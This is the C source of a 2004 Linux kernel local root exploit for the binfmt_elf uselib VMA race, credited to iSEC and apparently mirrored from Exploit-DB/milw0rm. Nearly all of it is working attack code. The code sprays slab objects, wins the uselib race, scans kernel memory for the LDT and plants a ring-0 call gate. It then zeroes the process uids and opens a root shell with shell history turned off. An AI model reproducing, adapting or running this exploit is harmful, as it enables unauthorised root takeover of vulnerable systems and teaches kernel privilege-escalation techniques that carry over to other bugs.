912 lines
No EOL
18 KiB
C
912 lines
No EOL
18 KiB
C
/*
|
|
* EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
|
|
*/
|
|
|
|
/*
|
|
* binfmt_elf uselib VMA insert race vulnerability
|
|
* v1.08
|
|
*
|
|
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
|
|
*
|
|
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
|
|
*
|
|
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
|
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
|
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
|
*
|
|
*/
|
|
|
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <sched.h>
|
|
#include <syscall.h>
|
|
#include <limits.h>
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/time.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/sysinfo.h>
|
|
|
|
#include <linux/elf.h>
|
|
#include <linux/linkage.h>
|
|
|
|
#include <asm/page.h>
|
|
#include <asm/ldt.h>
|
|
#include <asm/segment.h>
|
|
|
|
#define str(s) #s
|
|
#define xstr(s) str(s)
|
|
|
|
#define MREMAP_MAYMOVE 1
|
|
|
|
|
|
// temp lib location
|
|
#define LIBNAME "/dev/shm/_elf_lib"
|
|
|
|
// shell name
|
|
#define SHELL "/bin/bash"
|
|
|
|
// time delta to detect race
|
|
#define RACEDELTA 5000
|
|
|
|
// if you have more deadbabes in memory, change this
|
|
#define MAGIC 0xdeadbabe
|
|
|
|
|
|
// do not touch
|
|
#define SLAB_THRSH 128
|
|
#define SLAB_PER_CHLD (INT_MAX - 1)
|
|
#define LIB_SIZE ( PAGE_SIZE * 4 )
|
|
#define STACK_SIZE ( PAGE_SIZE * 4 )
|
|
|
|
#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
|
|
|
|
#define ENTRY_GATE ( LDT_ENTRIES-1 )
|
|
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )
|
|
|
|
#define ENTRY_LCS ( ENTRY_GATE-2 )
|
|
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )
|
|
|
|
#define ENTRY_LDS ( ENTRY_GATE-1 )
|
|
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )
|
|
|
|
#define kB * 1024
|
|
#define MB * 1024 kB
|
|
#define GB * 1024 MB
|
|
|
|
#define TMPLEN 256
|
|
#define PGD_SIZE ( PAGE_SIZE*1024 )
|
|
|
|
|
|
extern char **environ;
|
|
|
|
static char cstack[STACK_SIZE];
|
|
static char name[TMPLEN];
|
|
static char line[TMPLEN];
|
|
|
|
|
|
static volatile int
|
|
val = 0,
|
|
go = 0,
|
|
finish = 0,
|
|
scnt = 0,
|
|
ccnt=0,
|
|
delta = 0,
|
|
delta_max = RACEDELTA,
|
|
map_flags = PROT_WRITE|PROT_READ;
|
|
|
|
|
|
static int
|
|
fstop=0,
|
|
silent=0,
|
|
pidx,
|
|
pnum=0,
|
|
smp_max=0,
|
|
smp,
|
|
wtime=2,
|
|
cpid,
|
|
uid,
|
|
task_size,
|
|
old_esp,
|
|
lib_addr,
|
|
map_count=0,
|
|
map_base=0,
|
|
map_addr,
|
|
addr_min,
|
|
addr_max,
|
|
vma_start,
|
|
vma_end,
|
|
max_page;
|
|
|
|
|
|
static struct timeval tm1, tm2;
|
|
|
|
static char *myenv[] = {"TERM=vt100",
|
|
"HISTFILE=/dev/null",
|
|
NULL};
|
|
|
|
static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
|
|
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
|
|
|
|
|
|
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
|
|
|
|
|
|
|
|
#define __NR_sys_gettimeofday __NR_gettimeofday
|
|
#define __NR_sys_sched_yield __NR_sched_yield
|
|
#define __NR_sys_madvise __NR_madvise
|
|
#define __NR_sys_uselib __NR_uselib
|
|
#define __NR_sys_mmap2 __NR_mmap2
|
|
#define __NR_sys_munmap __NR_munmap
|
|
#define __NR_sys_mprotect __NR_mprotect
|
|
#define __NR_sys_mremap __NR_mremap
|
|
|
|
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
|
|
|
|
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
|
|
|
|
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
|
|
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
|
|
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
|
|
|
|
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
|
|
inline _syscall2(int, sys_munmap, int, a, int, b);
|
|
|
|
inline _syscall1(int, sys_uselib, char*, l);
|
|
|
|
inline _syscall0(void, sys_sched_yield);
|
|
|
|
|
|
|
|
inline int tmdiff(struct timeval *t1, struct timeval *t2)
|
|
{
|
|
int r;
|
|
|
|
r=t2->tv_sec - t1->tv_sec;
|
|
r*=1000000;
|
|
r+=t2->tv_usec - t1->tv_usec;
|
|
return r;
|
|
}
|
|
|
|
|
|
void fatal(const char *message, int critical)
|
|
{
|
|
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
|
|
|
|
if(!errno) {
|
|
fprintf(stdout, "\n[-] FAILED: %s ", message);
|
|
} else {
|
|
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
|
|
(char*) (strerror(errno)) );
|
|
}
|
|
if(critical)
|
|
printf("\nCRITICAL, entering endless loop");
|
|
printf("\n");
|
|
fflush(stdout);
|
|
|
|
unlink(libname);
|
|
kill(cpid, SIGKILL);
|
|
for(;;) kill(0, sig);
|
|
}
|
|
|
|
|
|
// try to race do_brk sleeping on kmalloc, may need modification for SMP
|
|
int raceme(void* v)
|
|
{
|
|
finish=1;
|
|
|
|
for(;;) {
|
|
errno = 0;
|
|
|
|
// check if raced:
|
|
recheck:
|
|
if(!go) sys_sched_yield();
|
|
sys_gettimeofday(&tm2, NULL);
|
|
delta = tmdiff(&tm1, &tm2);
|
|
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
|
|
smp = smp_max;
|
|
|
|
// check if lib VMAs exist as expected under race condition
|
|
recheck2:
|
|
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
|
|
if(val) continue;
|
|
errno = 0;
|
|
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
|
|
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
|
|
if( !val || (val<0 && errno!=ENOMEM) ) continue;
|
|
|
|
// SMP?
|
|
smp--;
|
|
if(smp>=0) goto recheck2;
|
|
|
|
// recheck race
|
|
if(!go) continue;
|
|
finish++;
|
|
|
|
// we need to free one vm_area_struct for mmap to work
|
|
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
|
|
if(val) fatal("mprotect", 0);
|
|
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
|
|
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
|
if(-1==val) fatal("mmap2 race", 0);
|
|
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
|
|
_exit(0);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int callme_1()
|
|
{
|
|
return val++;
|
|
}
|
|
|
|
|
|
inline int valid_ptr(unsigned ptr)
|
|
{
|
|
return ptr>=task_size && ptr<addr_min-16;
|
|
}
|
|
|
|
|
|
inline int validate_vma(unsigned *p, unsigned s, unsigned e)
|
|
{
|
|
unsigned *t;
|
|
|
|
if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
|
|
t=(unsigned*)p[3];
|
|
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
asmlinkage void kernel_code(unsigned *task)
|
|
{
|
|
unsigned *addr = task;
|
|
|
|
// find & reset uids
|
|
while(addr[0] != uid || addr[1] != uid ||
|
|
addr[2] != uid || addr[3] != uid)
|
|
addr++;
|
|
|
|
addr[0] = addr[0] = addr[2] = addr[3] = 0;
|
|
addr[4] = addr[5] = addr[6] = addr[7] = 0;
|
|
|
|
// find & correct VMA
|
|
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
|
|
if( validate_vma(addr, vma_start, vma_end) ) {
|
|
addr[1] = task_size - PAGE_SIZE;
|
|
addr[2] = task_size;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
void kcode(void);
|
|
|
|
|
|
void __kcode(void)
|
|
{
|
|
asm(
|
|
"kcode: \n"
|
|
" pusha \n"
|
|
" pushl %es \n"
|
|
" pushl %ds \n"
|
|
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
|
|
" movl %edx,%es \n"
|
|
" movl %edx,%ds \n"
|
|
" movl $0xffffe000,%eax \n"
|
|
" andl %esp,%eax \n"
|
|
" pushl %eax \n"
|
|
" call kernel_code \n"
|
|
" addl $4, %esp \n"
|
|
" popl %ds \n"
|
|
" popl %es \n"
|
|
" popa \n"
|
|
" lret \n"
|
|
);
|
|
}
|
|
|
|
|
|
int callme_2()
|
|
{
|
|
return val + task_size + addr_min;
|
|
}
|
|
|
|
|
|
void sigfailed(int v)
|
|
{
|
|
ccnt++;
|
|
fatal("lcall", 1);
|
|
}
|
|
|
|
|
|
// modify LDT & exec
|
|
void try_to_exploit(unsigned addr)
|
|
{
|
|
volatile int r, *v;
|
|
|
|
printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
|
|
unlink(libname);
|
|
|
|
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
|
|
if(r) fatal("mprotect 1", 1);
|
|
|
|
// check if really LDT
|
|
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
|
signal(SIGSEGV, sigfailed);
|
|
r = *v;
|
|
if(r != MAGIC) {
|
|
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
|
|
fatal("find LDT", 1);
|
|
}
|
|
|
|
// yeah, setup CPL0 gate
|
|
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
|
|
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
|
|
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
|
|
|
|
// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
|
|
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
|
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
|
|
v[1] = 0x00cf9b00;
|
|
|
|
v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
|
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
|
|
v[1] = 0x00cf9300;
|
|
|
|
// reprotect to get only one big VMA
|
|
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
|
|
if(r) fatal("mprotect 2", 1);
|
|
|
|
// CPL0 transition
|
|
sys_sched_yield();
|
|
val = callme_1() + callme_2();
|
|
asm("lcall $" xstr(SEL_GATE) ",$0x0");
|
|
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
|
|
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
|
|
} else {
|
|
printf("\n[-] uid change failed" ); fflush(stdout);
|
|
sigfailed(0);
|
|
|
|
}
|
|
signal(SIGTERM, SIG_IGN);
|
|
kill(0, SIGTERM);
|
|
execl(shellname, "sh", NULL);
|
|
fatal("execl", 0);
|
|
}
|
|
|
|
|
|
void scan_mm_finish();
|
|
void scan_mm_start();
|
|
|
|
|
|
// kernel page table scan code
|
|
void scan_mm()
|
|
{
|
|
map_addr -= PAGE_SIZE;
|
|
if(map_addr <= (unsigned)addr_min)
|
|
scan_mm_start();
|
|
|
|
scnt=0;
|
|
val = *(int*)map_addr;
|
|
scan_mm_finish();
|
|
}
|
|
|
|
|
|
void scan_mm_finish()
|
|
{
|
|
retry:
|
|
__asm__("movl %0, %%esp" : :"m"(old_esp) );
|
|
|
|
if(scnt) {
|
|
pagemap[pidx] ^= 1;
|
|
}
|
|
else {
|
|
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
|
|
}
|
|
pidx--;
|
|
scan_mm();
|
|
goto retry;
|
|
}
|
|
|
|
|
|
// make kernel page maps before and after allocating LDT
|
|
void scan_mm_start()
|
|
{
|
|
static int npg=0;
|
|
static struct modify_ldt_ldt_s l;
|
|
|
|
pnum++;
|
|
if(pnum==1) {
|
|
pidx = max_page-1;
|
|
}
|
|
else if(pnum==2) {
|
|
memset(&l, 0, sizeof(l));
|
|
l.entry_number = LDT_ENTRIES-1;
|
|
l.seg_32bit = 1;
|
|
l.base_addr = MAGIC >> 16;
|
|
l.limit = MAGIC & 0xffff;
|
|
l.limit_in_pages = 1;
|
|
if( modify_ldt(1, &l, sizeof(l)) != 0 )
|
|
fatal("modify_ldt", 1);
|
|
pidx = max_page-1;
|
|
}
|
|
else if(pnum==3) {
|
|
npg=0;
|
|
for(pidx=0; pidx<=max_page-1; pidx++) {
|
|
if(pagemap[pidx]) {
|
|
npg++;
|
|
fflush(stdout);
|
|
}
|
|
else if(npg == LDT_PAGES) {
|
|
npg=0;
|
|
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
|
|
} else {
|
|
npg=0;
|
|
}
|
|
}
|
|
fatal("find LDT", 1);
|
|
}
|
|
|
|
// save context & scan page table
|
|
__asm__("movl %%esp, %0" : :"m"(old_esp) );
|
|
map_addr = addr_max;
|
|
scan_mm();
|
|
}
|
|
|
|
|
|
// return number of available SLAB objects in cache
|
|
int get_slab_objs(const char *sn)
|
|
{
|
|
static int c, d, u = 0, a = 0;
|
|
FILE *fp=NULL;
|
|
|
|
fp = fopen("/proc/slabinfo", "r");
|
|
if(!fp)
|
|
fatal("get_slab_objs: fopen", 0);
|
|
fgets(name, sizeof(name) - 1, fp);
|
|
do {
|
|
c = u = a = -1;
|
|
if (!fgets(line, sizeof(line) - 1, fp))
|
|
break;
|
|
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
|
|
&d, &d, &d, &d);
|
|
} while (strcmp(name, sn));
|
|
close(fileno(fp));
|
|
fclose(fp);
|
|
return c == 7 ? a - u : -1;
|
|
}
|
|
|
|
|
|
// leave one object in the SLAB
|
|
inline void prepare_slab()
|
|
{
|
|
int *r;
|
|
|
|
map_addr -= PAGE_SIZE;
|
|
map_count++;
|
|
map_flags ^= PROT_READ;
|
|
|
|
r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
|
|
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
|
if(MAP_FAILED == r) {
|
|
fatal("try again", 0);
|
|
}
|
|
*r = map_addr;
|
|
}
|
|
|
|
|
|
// sig handlers
|
|
void segvcnt(int v)
|
|
{
|
|
scnt++;
|
|
scan_mm_finish();
|
|
}
|
|
|
|
|
|
// child reap
|
|
void reaper(int v)
|
|
{
|
|
ccnt++;
|
|
waitpid(0, &v, WNOHANG|WUNTRACED);
|
|
}
|
|
|
|
|
|
// sometimes I get the VMAs in reversed order...
|
|
// so just use anyone of the two but take care about the flags
|
|
void check_vma_flags();
|
|
|
|
void vreversed(int v)
|
|
{
|
|
map_flags = 0;
|
|
check_vma_flags();
|
|
}
|
|
|
|
|
|
void check_vma_flags()
|
|
{
|
|
if(map_flags) {
|
|
__asm__("movl %%esp, %0" : :"m"(old_esp) );
|
|
} else {
|
|
__asm__("movl %0, %%esp" : :"m"(old_esp) );
|
|
goto out;
|
|
}
|
|
signal(SIGSEGV, vreversed);
|
|
val = * (unsigned*)(lib_addr + PAGE_SIZE);
|
|
out:
|
|
}
|
|
|
|
|
|
// use elf library and try to sleep on kmalloc
|
|
void exploitme()
|
|
{
|
|
int r, sz, pcnt=0;
|
|
static char smiley[]="-\\|/-\\|/";
|
|
|
|
// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);
|
|
|
|
// helper clone
|
|
finish=0; ccnt=0;
|
|
sz = sizeof(cstack) / sizeof(cstack[0]);
|
|
cpid = clone(&raceme, (void*) &cstack[sz-16],
|
|
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
|
|
if(-1==cpid) fatal("clone", 0);
|
|
|
|
// synchronize threads
|
|
while(!finish) sys_sched_yield();
|
|
finish=0;
|
|
if(!silent) {
|
|
printf("\n"); fflush(stdout);
|
|
}
|
|
|
|
// try to hit the kmalloc race
|
|
for(;;) {
|
|
|
|
r = get_slab_objs("vm_area_struct");
|
|
while(r != 1) {
|
|
prepare_slab();
|
|
r--;
|
|
}
|
|
|
|
sys_gettimeofday(&tm1, NULL);
|
|
go = 1;
|
|
r=sys_uselib(libname);
|
|
go = 0;
|
|
if(r) fatal("uselib", 0);
|
|
if(finish) break;
|
|
|
|
// wipe lib VMAs and try again
|
|
r = sys_munmap(lib_addr, LIB_SIZE);
|
|
if(r) fatal("munmap lib", 0);
|
|
if(ccnt) goto failed;
|
|
|
|
if( !silent && !(pcnt%64) ) {
|
|
printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
|
|
fflush(stdout);
|
|
}
|
|
pcnt++;
|
|
}
|
|
|
|
// seems we raced, free mem
|
|
r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
|
|
if(r) fatal("munmap 1", 0);
|
|
r = sys_munmap(lib_addr, PAGE_SIZE);
|
|
if(r) fatal("munmap 2", 0);
|
|
|
|
// relax kswapd
|
|
sys_gettimeofday(&tm1, NULL);
|
|
for(;;) {
|
|
sys_sched_yield();
|
|
sys_gettimeofday(&tm2, NULL);
|
|
delta = tmdiff(&tm1, &tm2);
|
|
if( wtime*1000000U <= (unsigned)delta ) break;
|
|
}
|
|
|
|
// we need to check the PROT_EXEC flag
|
|
map_flags = PROT_EXEC;
|
|
check_vma_flags();
|
|
if(!map_flags) {
|
|
printf("\n VMAs reversed"); fflush(stdout);
|
|
}
|
|
|
|
// write protect brk's VMA to fool vm_enough_memory()
|
|
r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
|
|
PROT_READ|map_flags);
|
|
if(-1==r) { fatal("mprotect brk", 0); }
|
|
|
|
// this will finally make the big VMA...
|
|
sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
|
|
expand:
|
|
r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
|
|
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
|
|
if(r) fatal("madvise", 0);
|
|
r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
|
|
PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
|
|
if(-1==r) {
|
|
if(0==sz) {
|
|
fatal("mremap: expand VMA", 0);
|
|
} else {
|
|
sz -= PAGE_SIZE;
|
|
goto expand;
|
|
}
|
|
}
|
|
vma_start = lib_addr + PAGE_SIZE;
|
|
vma_end = vma_start + sz + 2*PAGE_SIZE;
|
|
printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
|
|
fflush(stdout);
|
|
|
|
// try to figure kernel layout
|
|
signal(SIGCHLD, reaper);
|
|
signal(SIGSEGV, segvcnt);
|
|
signal(SIGBUS, segvcnt);
|
|
scan_mm_start();
|
|
|
|
failed:
|
|
fatal("try again", 0);
|
|
|
|
}
|
|
|
|
|
|
// make fake ELF library
|
|
void make_lib()
|
|
{
|
|
struct elfhdr eh;
|
|
struct elf_phdr eph;
|
|
static char tmpbuf[PAGE_SIZE];
|
|
int fd;
|
|
|
|
// make our elf library
|
|
umask(022);
|
|
unlink(libname);
|
|
fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
|
|
if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
|
|
memset(&eh, 0, sizeof(eh) );
|
|
|
|
// elf exec header
|
|
memcpy(eh.e_ident, ELFMAG, SELFMAG);
|
|
eh.e_type = ET_EXEC;
|
|
eh.e_machine = EM_386;
|
|
eh.e_phentsize = sizeof(struct elf_phdr);
|
|
eh.e_phnum = 1;
|
|
eh.e_phoff = sizeof(eh);
|
|
write(fd, &eh, sizeof(eh) );
|
|
|
|
// section header:
|
|
memset(&eph, 0, sizeof(eph) );
|
|
eph.p_type = PT_LOAD;
|
|
eph.p_offset = 4096;
|
|
eph.p_filesz = 4096;
|
|
eph.p_vaddr = lib_addr;
|
|
eph.p_memsz = LIB_SIZE;
|
|
eph.p_flags = PF_W|PF_R|PF_X;
|
|
write(fd, &eph, sizeof(eph) );
|
|
|
|
// execable code
|
|
lseek(fd, 4096, SEEK_SET);
|
|
memset(tmpbuf, 0x90, sizeof(tmpbuf) );
|
|
write(fd, &tmpbuf, sizeof(tmpbuf) );
|
|
close(fd);
|
|
}
|
|
|
|
|
|
// move stack down #2
|
|
void prepare_finish()
|
|
{
|
|
int r;
|
|
static struct sysinfo si;
|
|
|
|
old_esp &= ~(PAGE_SIZE-1);
|
|
old_esp -= PAGE_SIZE;
|
|
task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
|
|
r = sys_munmap(old_esp, task_size-old_esp);
|
|
if(r) fatal("unmap stack", 0);
|
|
|
|
// setup rt env
|
|
uid = getuid();
|
|
lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
|
|
if(map_base)
|
|
map_addr = map_base;
|
|
else
|
|
map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
|
|
printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
|
|
old_esp, task_size, map_base); fflush(stdout);
|
|
|
|
// check physical mem & prepare
|
|
sysinfo(&si);
|
|
addr_min = task_size + si.totalram;
|
|
addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
|
|
addr_max = addr_min + si.totalram;
|
|
if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
|
|
addr_max = 0xffffd000;
|
|
|
|
printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
|
|
max_page = (addr_max - addr_min) / PAGE_SIZE;
|
|
pagemap = malloc( max_page + 32 );
|
|
if(!pagemap) fatal("malloc pagemap", 1);
|
|
memset(pagemap, 0, max_page + 32);
|
|
|
|
// go go
|
|
make_lib();
|
|
exploitme();
|
|
}
|
|
|
|
|
|
// move stack down #1
|
|
void prepare()
|
|
{
|
|
unsigned p=0;
|
|
|
|
environ = myenv;
|
|
|
|
p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
|
|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
|
|
if(-1==p) fatal("mmap2 stack", 0);
|
|
p += STACK_SIZE - 64;
|
|
|
|
__asm__("movl %%esp, %0 \n"
|
|
"movl %1, %%esp \n"
|
|
: : "m"(old_esp), "m"(p)
|
|
);
|
|
|
|
prepare_finish();
|
|
}
|
|
|
|
|
|
void chldcnt(int v)
|
|
{
|
|
ccnt++;
|
|
}
|
|
|
|
|
|
// alloc slab objects...
|
|
inline void do_wipe()
|
|
{
|
|
int *r, c=0, left=0;
|
|
|
|
__asm__("movl %%esp, %0" : : "m"(old_esp) );
|
|
|
|
old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
|
|
old_esp = map_base? map_base : old_esp;
|
|
|
|
for(;;) {
|
|
if(left<=0)
|
|
left = get_slab_objs("vm_area_struct");
|
|
if(left <= SLAB_THRSH)
|
|
break;
|
|
left--;
|
|
|
|
map_flags ^= PROT_READ;
|
|
old_esp -= PAGE_SIZE;
|
|
r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
|
|
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
|
|
if(MAP_FAILED == r)
|
|
break;
|
|
|
|
if(c>SLAB_PER_CHLD)
|
|
break;
|
|
if( (c%1024)==0 ) {
|
|
if(!c) printf("\n");
|
|
printf("\r child %d VMAs %d", val, c);
|
|
fflush(stdout);
|
|
}
|
|
c++;
|
|
}
|
|
printf("\r child %d VMAs %d", val, c);
|
|
fflush(stdout);
|
|
kill(getppid(), SIGUSR1);
|
|
for(;;) pause();
|
|
}
|
|
|
|
|
|
// empty SLAB caches
|
|
void wipe_slab()
|
|
{
|
|
signal(SIGUSR1, chldcnt);
|
|
printf("\n[+] SLAB cleanup"); fflush(stdout);
|
|
for(;;) {
|
|
ccnt=0;
|
|
val++;
|
|
cpid = fork();
|
|
if(!cpid)
|
|
do_wipe();
|
|
|
|
while(!ccnt) sys_sched_yield();
|
|
if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
|
|
break;
|
|
}
|
|
signal(SIGUSR1, SIG_DFL);
|
|
}
|
|
|
|
|
|
void usage(char *n)
|
|
{
|
|
printf("\nUsage: %s\t-f forced stop\n", n);
|
|
printf("\t\t-s silent mode\n");
|
|
printf("\t\t-c command to run\n");
|
|
printf("\t\t-n SMP iterations\n");
|
|
printf("\t\t-d race delta us\n");
|
|
printf("\t\t-w wait time seconds\n");
|
|
printf("\t\t-l alternate lib name\n");
|
|
printf("\t\t-a alternate addr hex\n");
|
|
printf("\n");
|
|
_exit(1);
|
|
}
|
|
|
|
|
|
// give -s for forced stop, -b to clean SLAB
|
|
int main(int ac, char **av)
|
|
{
|
|
int r;
|
|
|
|
while(ac) {
|
|
r = getopt(ac, av, "n:l:a:w:c:d:fsh");
|
|
if(r<0) break;
|
|
|
|
switch(r) {
|
|
|
|
case 'f' :
|
|
fstop = 1;
|
|
break;
|
|
|
|
case 's' :
|
|
silent = 1;
|
|
break;
|
|
|
|
case 'n' :
|
|
smp_max = atoi(optarg);
|
|
break;
|
|
|
|
case 'd':
|
|
if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
|
|
fatal("bad delta value", 0);
|
|
break;
|
|
|
|
case 'w' :
|
|
wtime = atoi(optarg);
|
|
if(wtime<0) fatal("bad wait value", 0);
|
|
break;
|
|
|
|
case 'l' :
|
|
libname = strdup(optarg);
|
|
break;
|
|
|
|
case 'c' :
|
|
shellname = strdup(optarg);
|
|
break;
|
|
|
|
case 'a' :
|
|
if(1!=sscanf(optarg, "%x", &map_base))
|
|
fatal("bad addr value", 0);
|
|
map_base &= ~(PGD_SIZE-1);
|
|
break;
|
|
|
|
case 'h' :
|
|
default:
|
|
usage(av[0]);
|
|
break;
|
|
}
|
|
}
|
|
|
|
// basic setup
|
|
uid = getuid();
|
|
setpgrp();
|
|
wipe_slab();
|
|
prepare();
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-01-07]
|